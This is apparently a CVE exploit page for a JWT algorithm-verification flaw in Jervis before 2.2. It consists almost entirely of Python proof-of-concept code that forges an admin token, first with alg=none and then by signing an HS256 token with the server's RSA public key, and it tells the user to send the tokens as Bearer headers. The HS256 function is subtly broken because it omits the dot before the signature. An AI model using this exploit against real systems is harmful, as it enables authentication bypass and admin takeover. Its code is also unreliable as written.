CVE-2025-68925 Jervis JWT算法验证缺失安全漏洞

#!/usr/bin/env python3 # CVE-2025-68925 JWT Algorithm Confusion PoC # Affected: Jervis < 2.2 # Attack Type: JWT algorithm confusion (RS256 to HS256) import base64 import json import hmac import hashlib def base64url_encode(data): """URL-safe base64 encoding without padding""" if isinstance(data, str): data = data.encode('utf-8') return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8') def create_jwt_none_attack(payload): """Create JWT with alg=none (unsigned token)""" header = {"alg": "none", "typ": "JWT"} header_b64 = base64url_encode(json.dumps(header)) payload_b64 = base64url_encode(json.dumps(payload)) # No signature for alg=none unsigned_token = f"{header_b64}.{payload_b64}." return unsigned_token def create_jwt_hs256_attack(header, payload, public_key): """Create JWT with alg switched to HS256 using RSA public key as HMAC key""" # Modify algorithm to HS256 header['alg'] = 'HS256' header_b64 = base64url_encode(json.dumps(header)) payload_b64 = base64url_encode(json.dumps(payload)) # Sign with HMAC using RSA public key as secret message = f"{header_b64}.{payload_b64}" signature = hmac.new( public_key.encode('utf-8'), message.encode('utf-8'), hashlib.sha256 ).digest() signature_b64 = base64url_encode(signature) return f"{message}{signature_b64}" # Example: Forge admin token admin_payload = { "sub": "admin", "iss": "jervis", "iat": 1736800000, "exp": 1736886400, "role": "admin" } # RSA public key (obtained from server's JWKS endpoint or public key exposure) rsa_public_key = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...\n-----END PUBLIC KEY-----" # Generate malicious JWT malicious_jwt_none = create_jwt_none_attack(admin_payload) malicious_jwt_hs256 = create_jwt_hs256_attack({"alg": "RS256", "typ": "JWT"}, admin_payload, rsa_public_key) print("=== CVE-2025-68925 JWT Algorithm Confusion Attack ===") print("\n1. Unsigned JWT (alg=none):") print(malicious_jwt_none) print("\n2. HS256 forged JWT (using RSA public key as HMAC key):") print(malicious_jwt_hs256) print("\nUsage: Use these tokens as Bearer tokens in Authorization header")